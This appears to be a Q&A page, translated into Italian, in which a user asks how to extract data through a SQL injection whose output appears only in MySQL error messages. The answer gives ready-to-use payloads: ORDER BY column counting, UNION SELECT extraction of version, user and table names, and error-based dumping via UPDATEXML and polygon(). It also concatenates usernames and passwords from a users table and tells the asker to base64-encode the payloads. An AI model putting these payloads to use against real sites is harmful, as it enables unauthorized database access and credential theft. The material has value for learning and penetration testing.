Dumping query personalizzata tramite SQL injection quando l'output è nella funzione die ()?

1

Sul mio localhost ho un link PHP come questo

abc.com/index.php?q=XYZ

dove XYZ è un parametro base64encoded che ho verificato è iniettabile. Quando provo abc.com/index.php?q=XYZ' restituisce

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for

Quindi probabilmente la query è

'select * from TableName where q={QUERYPRAM'} or die(mysql_error());

Come posso scrivere qui la mia query personalizzata o ottenere informazioni poiché l'output è effettivamente nella funzione die() ?

Normalmente utilizzo SQLMap per questa funzione, ma si sta comportando molto lentamente e chiude immediatamente la richiesta.

    
posta Johnny 22.04.2016 - 10:50
fonte

1 risposta

4

Devi capire se il parametro viene analizzato come un intero o una stringa (molto probabilmente come stringa). Se la query è bilanciata e corretta, non morirà (). prova ..

1' order by 1-- -

o ..

1 order by 1-- -

Se il primo restituisce un errore, significa che il parametro viene analizzato come numero intero, quindi non è necessario un preventivo (') per eseguire l'iniezione.

Ora, ci sono molti modi diversi per scaricare i dati qui. Ma preferirei i seguenti due:

Primo:

È necessario verificare quante colonne ci sono nella query prima del punto di iniezione. Puoi provare l'ordine per clausola qui. Inizia con il numero più alto. Ad esempio:

1' order by 1000-- -

Viene generato un errore.

ERROR 1054 (42S22): Unknown column '1000' in 'order clause'

Ora inizia a diminuire il conteggio. Conoscerai il numero esatto di colonne quando la query ha esito positivo. Diciamo che ci sono 5 colonne.

1' order by 5-- -

Quindi, questo non genera un errore.

Ora, aggiungi una query UNION con 5 colonne e annulla (e 0) la query effettiva.

1' and 0 UNION SELECT 1,2,3,4,5-- -

Se tutto va bene, vedrai le colonne vulnerabili nella pagina. Diciamo che la colonna vulnerabile che appare sulla pagina è '3'. Puoi scaricare i dati in questa colonna.

1' and 0 UNION SELECT 1,2,(SELECT version()),4,5-- -

o ..

1' and 0 UNION SELECT 1,2,(SELECT user()),4,5-- -

Se la versione di MySQL è superiore a 5, puoi eseguire questa operazione per scaricare i nomi delle tabelle.

1' and 0 UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=database()),4,5-- -

e così via ..

In secondo luogo:

Puoi anche scaricare i dati nell'errore stesso. Ci sono molti modi per farlo ma preferisco le funzioni XML di MYSQL.

1' and UPDATEXML(NULL,concat(0x3a,version()),NULL)-- -

Questo genererà un errore con la versione di MYSQL.

ERROR 1105 (HY000): XPATH syntax error: ':5.5.47-0ubuntu0.14.04.1'

Quindi, puoi utilizzare le subquery per ottenere i dati.

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 0,1) ),NULL)-- -

Riceverai il nome della prima tabella nell'errore.

ERROR 1105 (HY000): XPATH syntax error: ':FIRST_TABLE_NAME'

Modifica

Per ottenere l'ennesimo nome_tabella, dare un OFFSET nella clausola LIMIT come LIMIT 0,1 .. LIMIT 1,1 .. LIMIT 2,1 .. LIMIT 3,1 e così via ..

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 1,1) ),NULL)-- -

Questo mostrerà il nome della seconda tabella nell'errore.

ERROR 1105 (HY000): XPATH syntax error: ':SECOND_TABLE_NAME'

Per nth table_name:

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit N,1) ),NULL)-- -

Modifica 2:

Non è necessario scaricare le colonne di dati una alla volta. Puoi concatre più colonne come:

(SELECT concat(id, ':', username, ':', password) from users LIMIT 0,1)

Q: "possiamo scaricare o ottenere tutti i nomi delle tabelle in un colpo?"

Errore MYSQL ha un limite di caratteri. Questo LIMIT varia da funzione a funzione. Finora, il numero più alto di caratteri che ho visto è usando la funzione polygon (). Ecco una query di esempio per la versione di MySQL < 5.6.

1' and polygon((select*from(select*from(select concat((select group_concat(table_name) from information_schema.tables where table_schema=database())) as '' )'')''))-- -

Output:

Illegal non geometric '(select '' from (select '
FIRST_TABLE,SECOND_TABLE,THIRD_TABLE,FOURTH_TABLE,......
' value found during parsing

Siamo in grado di scaricare un sacco di più dati nell'iniezione SQL basata su UNION ma in base all'errore non è possibile scaricare dati più del limite di caratteri dell'errore MYSQL.

Assicurati di codificare ( BASE64 ) i tuoi payload.

    
risposta data 22.04.2016 - 11:16
fonte

Leggi altre domande sui tag